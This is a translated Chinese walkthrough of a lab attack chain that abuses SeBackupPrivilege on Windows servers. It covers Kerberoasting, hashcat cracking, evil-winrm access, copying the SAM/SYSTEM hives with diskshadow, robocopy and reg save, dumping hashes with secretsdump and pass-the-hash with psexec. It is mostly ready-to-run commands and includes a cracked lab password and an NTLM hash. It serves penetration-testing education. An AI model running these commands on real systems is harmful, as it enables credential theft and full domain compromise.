Windows 提权-SeBackupPrivilege 特权
本文通过 Google 翻译 Sebackupprivilege – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- 0 前言
- 1 获得拥有 SeBackupPrivilege 特权的账户
- 2 提取 SAM/SYSTEM 文件副本:diskshadow.exe
- 3 提取 SAM/SYSTEM 文件副本:reg
- 4 提取 SAM/SYSTEM 文件副本:在 RDP 桌面环境下
0、前言
在这篇文章中,我们打算用一个已启用 SeBackupPrivilege 的服务账号从 Windows 服务器中提取 SAM/SYSTEM 文件的副本。
我们来看这样一种场景:我们作为普通的域用户在服务器上获得了立足点,由此开始,我们对备份服务账号进行 Kerberoast 操作,并用破解的凭证登录。接着,我们借助服务账号的 SeBackupPrivilege 特权来获取 SAM/SYSTEM 文件的副本。随后,我们把 SAM/SYSTEM 文件传送到攻击者的机器上,并在本地借助工具导出 SAM/SYSTEM 中的用户哈希值。最后,我们在服务器上实施 PTH (哈希传递攻击),将权限提升到管理员 shell。
SeBackupPrivilege 特权允许用户对系统中的大部分文件进行备份,哪怕文件的访问控制列表(ACL)并未赋予该用户这种访问权限。因此,攻击者可以通过 SeBackupPrivilege 特权备份整个系统盘,从而直接从创建的备份卷中访问任何文件。
注:作者设计的这个获取 SeBackupPrivilege 特权账户的场景太过繁琐,如果只是想查看利用 SeBackupPrivilege 特权的方法,可以跳过第一节,直接从第二节开始阅读。
1、获得拥有 SeBackupPrivilege 特权的账户
在这个域控场景中,主要有两台机器且运行的都是 Windows Server 2019,其中一台是备份服务器(172.16.1.10),另一台是域控 DC(172.16.1.5)。
在某些情况下,我们以普通域用户 efrost 的身份在备份服务器上获得了立足点。由于我们是利用 web 应用程序漏洞获得的立足点,因此我们没有用户的密码。

获得立足点后,我们开始枚举该域,并发现了以下重要信息:
- (1)该域中有两个服务帐户。
net user /domain

- (2)帐户 backup_svc 位于备份操作员组(Backup Operators)中,这意味着它具有 SeBackupPrivilege 特权。同时该帐户也位于远程管理用户组(Remote Management Users )中,由用户 nessex 管理。
远程管理用户(Remote Management Users )组中的用户可以通过端口 5985 处的 WinRM 服务执行 PS-Remoting(即 PowerShell 远程连接服务,类似于 ssh 服务);而远程桌面用户(Remote Desktop Users)组中的用户可以通过 RDP 远程连接。
net user backup_svc /domain

- (3)用户 nesex 位于域管理组(Domain Admins)中。
net group "Domain Admins" /domain

- (4)用户 nesex 在该计算机上拥有自己的用户配置文件夹,这表明 nesex 用户以前在这台机器上登录过。

- (5)两个服务账户均被分配了 SPN,这致使它们能够遭受 kerberoast 攻击。
setspn -T juggernaut.local -F -Q */*

我们首先使用 Rubeus.exe 发起一次 kerberoast 攻击,试图提升到其中一个服务账户。
将 Rubeus.exe 下载到受害者机器上,然后使用以下命令成功地请求两个服务帐户的服务票据(TGS-REP HASHES):
.\Rubeus.exe kerberoast



之后,我们将两个哈希值复制到攻击者机器上的 TXT 文件中,接着手动删除所有的换行符(上图中的那一大串实际是一行字串,粘贴到 TXT 中之后便不再是一行字串了,因此我们需要使其变成一行字串),然后就可以使用 hashcat 进行破解了。
借助 hashcat 的帮助菜单,我们得知 TGS-REP 哈希的破解模式为 13100,接着,我们利用它来构建我们用于破解哈希的 hashcat 命令。
hashcat -h | grep -i 'kerberos'
hashcat -m 13100 ./service_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txt

只用了一小会时间,我们便成功地破解了其中一个服务帐户的哈希密码。

检查输出文件,我们发现破解了 backup_svc 帐户的哈希。

backup_svc : Makemoney1!
本场景只是关于 Kerberoasting 攻击的一个快速示例,如果要了解此攻击的更多示例,请查看我有关 Kerberoasting 的文章。
从之前的枚举中,我们得知该帐户是远程管理用户组的一部分,这意味着我们应该能够在 WinRM 上获得 shell。
为了检测我们是否可以通过 WinRM 获得备份服务器或域控服务器上的 shell,我们将使用一个名为 crackmapexec 的强大工具进行测试:
crackmapexec winrm 172.16.1.5 172.16.1.10 -d juggernaut.local -u backup_svc -p 'Makemoney1!'

看到 Pwn3d! 这意味着我们对备份服务器具有 WinRM 的访问权限。但是,我们没有域控的 WinRM 访问权限。
有了这一发现,我们就可以使用找到的凭证和一个名为 evil-winrm 的强大工具以及以下命令登录备份服务器:
evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10

登录之后,使用 whoami /priv 命令快速检查一下当前账户的权限,我们看到它确实启用了 SeBackupPrivilege 特权。

2、提取 SAM/SYSTEM 文件副本:diskshadow.exe
在本例中,我们将使用卷影副本(Volume Shadow Copy Service, VSS)管理工具 diskshadow.exe 去创建系统盘(C盘)的卷影副本来提取 SAM/SYSTEM 文件的副本。创建 C 盘的卷影副本后,我们就可以与之交互并访问文件系统中的任何文件。
通常情况下,diskshadow.exe 仅在 Windows Server 上安装,Windows 客户机上不会有。
由于 diskshadow.exe 是一个交互式命令,而我们目前的 shell 环境是一个非交互式的会话,因此我们需要制作一个 diskshadow 的脚本文件,让其以批处理的方式运行任务。
我们直接在受害机器上使用以下命令来制作 diskshadow 脚本文件:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
上述命令实际上是让 diskshadow.exe 给 C 盘创建一个副本,然后为其分配盘符 Z 并使其可用(使其可作为驱动器访问)。

现在,我们可以使用以下命令开始运行:
diskshadow.exe /s c:\temp\diskshadow.txt

现在,C 盘的卷影副本已成功创建并显示为 Z 盘,我们可以使用以下 robocopy 命令从 Z:\windows\system32\config 中提取 SAM/SYSTEM 副本:
robocopy /b Z:\Windows\System32\Config C:\temp SAM
robocopy /b Z:\Windows\System32\Config C:\temp SYSTEM



如果您能以具有 SeBackupPrivileges 的用户身份访问域控机器,则表示您已破解了整个域(因为整个域用户的哈希我们都能够得到)。在域控机器上,您可以重复上述步骤,但目标不是本地 SAM/SYSTEM 文件,而是 NTDS.dit 文件。因为 SAM 文件只是包含本地用户的哈希值,而 NTDS.dit 文件却包含了所有域用户的哈希值!
2.1、从 SAM/SYSTEM 文件提取用户 hash,并利用 PTH 攻击提权
由于我们正在使用 evil-winrm 工具,因此可以使用工具内置的上传功能将这些文件下载到我们的攻击者机器上。
注:evil-winrm 工具内置的命令有:download、upload、services。
download .\SAM /opt/Juggernaut/JUGG-Backup/SAM
download .\SYSTEM /opt/Juggernaut/JUGG-Backup/SYSTEM

回到攻击者机,我们看到两个文件都已成功下载。

现在,既然已经拥有了 SAM/SYSTEM 副本,那我们就可以使用 impacket 套件中的 secretsdump.py 这个工具提取哈希了。
secretsdump.py -sam SAM -system SYSTEM LOCAL

在提取出来的用户哈希列表中,令我们最感兴趣的便是 Administrator 用户的哈希。接下来,我们依旧会使用 Impacket 工具套件中的 psexec.py 工具,利用本地管理员的哈希来进行 PTH(pass-the-hash) 攻击,从而在备份服务器上获取 SYSTEM shell。复制整个 NTLM 哈希并将其置入以下命令:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4 administrator@172.16.1.10

如果想更深入地了解 PTH(pass-the-hash) 攻击,请在此处查看有关该主题的文章。
3、提取 SAM/SYSTEM 文件副本:reg
在本例中,我们使用 reg 命令从注册表中提取 SAM/SYSTEM 文件副本,而在这篇文章中也看到了这种提取 SAM/SYSTEM 文件的技术。
默认情况下,SeBackupPrivileges 特权的用户是被允许导出注册表的配置单元数据(hiv)。
注:注册表虽然是 Windows 系统的一个数据库,但是它的数据信息其实也是存储在文件中的,而不同的根键所对应的配置单元文件的系统路径也是不同的,例如:HKLM 对应着
C:\Windows\System32\config\目录、HKCU 对应着C:\Users\<用户名>\NTUSER.DAT文件。而 reg save 执行的过程便是导出这个配置单元文件的过程,它的数据和直接从文件系统获取单文件性质是一样的。
使用以下命令,我们可以从注册表中提取 SAM\SYSTEM 文件的副本:
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM

4、提取 SAM/SYSTEM 文件副本:在 RDP 桌面环境下
在本例中,我们在 Windows 10 桌面环境下演示提取 SAM\SYSTEM 副本的过程。之所以要如此,是因为我们发现在桌面环境下提取 SAM\SYSTEM 副本和在 WinRM 环境下提取副本还是有一些不同的,不同点在于:它要求我们需要具有 Sebackupprivilege 特权的用户的密码。
从示例场景出发,假设我们是在 Windows 10 主机上获得了一个 efrost 的普通域用户身份的立足点,而不是在备份服务器上。再假设当我们进行域枚举时,发现 backup_svc 用户也是远程桌面用户(Remote Desktop Users)组的一员。

接着以这个示例场景来说,我们对 backup_svc 账户进行 kerberoast 攻击并破解其密码。但这次,我们不再通过 evil-winrm 来获取 shell,而是像这样使用 xfreerdp:
sudo xfreerdp /u:backup_svc /p:'Makemoney1!' /d:juggernaut.local /v:172.16.1.100 +clipboard

我们知道 backup_svc 账户在备份操作员组中,但是,当我们使用 whoami /priv 时,我们却并没有看到 SeBackupPrivilege 特权。

这是因为:在低完整性的 shell 环境中,SeBackupPrivilege 这项特权默认是未开启的。而若要开启该特权,您需要通过“以管理员身份运行”来打开 cmd,这时会弹出一个 UAC 提示框,要求输入当前用户的密码,而这就是 Windows 对备份操作员组中的用户权限的处理方式。


输入密码之后,特权便被开启了。
注:特权的状态虽然是 Disabled,但是并不影响特权功能的使用,这个 Disabled 可忽略。

现在我们有了 SeBackupPrivilege 特权,便可以像之前一样从注册表提取 SAM/SYSTEM 文件副本了。
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM

Windows 提权-SeBackupPrivilege 特权的更多相关文章
- 35.windows提权总结
本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...
- 「白帽黑客成长记」Windows提权基本原理(下)
上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(下)
「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...
- 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权
原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...
- 「白帽黑客成长记」Windows提权基本原理(上)
我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(上)
「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...
- Windows提权小结
摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...
- windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)
对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...
- Windows提权与开启远程连接
1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...
- windows提权的几种姿势
想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...
随机推荐
- 对象存储 COS 推出一站式内容审核服务,助力打造绿色互联网
今年,国家网信办深入推进"清朗·春节网络环境"专项行动.截至3月24日,网信办共累计清理相关违法违规信息208万余条,处置账号7.2万余个,协调关闭.取消备案网站平台2300余家. ...
- 【数据库】MongoDB服务启动失败的问题。
1.确保MongoDB所在文件夹拥有所有权限 2.确保打开CMD窗口是以管理员身份运行的 3.配置文件中的路径应该为完整路径,且不包含空格和特殊字符(不建议包含) systemLog: destina ...
- 【前端】白天/黑夜主题切换:JS读取XML预设主题实现黑白主题切换
上扩展实现多主题选择,切换主题) 先看一下XML文档 id值不能重复,一套主题的name要相同,亮色type1,暗色type0 <?xml version="1.0" enc ...
- Qt编写可视化大屏电子看板系统15-曲线面积图
一.前言 曲线面积图其实就是在曲线图上增加了颜色填充,单纯的曲线可能就只有线条以及数据点,面积图则需要从坐标轴的左下角和右下角联合曲线形成完整的封闭区域路径,然后对这个路径进行颜色填充,为了更美观的效 ...
- 七牛云API的使用包括Ajax上传功能及凭证生成
1.服务端(主要用于生成上传,删除,下载等凭证) 引入Qiniu的Get包.包就叫Qiniu. //上传凭证 //上传凭证:其余凭证类似的写法 public string UpLoadToken() ...
- [转]C# 组合查询条件
在我们开发过程中经常会遇见一些通过条件获取数据的功能,比如说获取我们的用户信息,查询输入框有用户姓名,部门,入职年份等等,但查询时可能只输入一个条件或多个条件,像这种不确定的查询时,我们应该如何处理. ...
- 即时通讯技术文集(第42期):直播技术合集(Part2) [共13篇]
为了更好地分类阅读 52im.net 总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第42 期. [-1-] 实时音频的混音在视频直播中的技术原理和实践总结 [链接] http:/ ...
- HashMap中哈希表的长度为什么需要是2的幂次方以及怎么实现
看过HashMap源码的人可能都用印象,就是hashMap的哈希表长度可以由自己指定也可以不指定使用默认长度,但是如果在了解或者发现tableSizeFor方法的话,你就会知道此方法会改变我们的输入长 ...
- 第一章 dubbo源码解析目录
重要的网址: dubbo的github:https://github.com/alibaba/dubbo dubbo官网:http://dubbo.io/ dubbo使用者手册:https://dub ...
- 混元API的加密机制与原生集成实战
今天,我们将重点讨论在对接混元大模型时需要特别关注的几个要点.首先,最为关键的一点是,混元大模型的加密方式相比于其他大模型更为复杂和严密.在对接过程中,我们通常避免使用混元官方提供的SDK进行集成,主 ...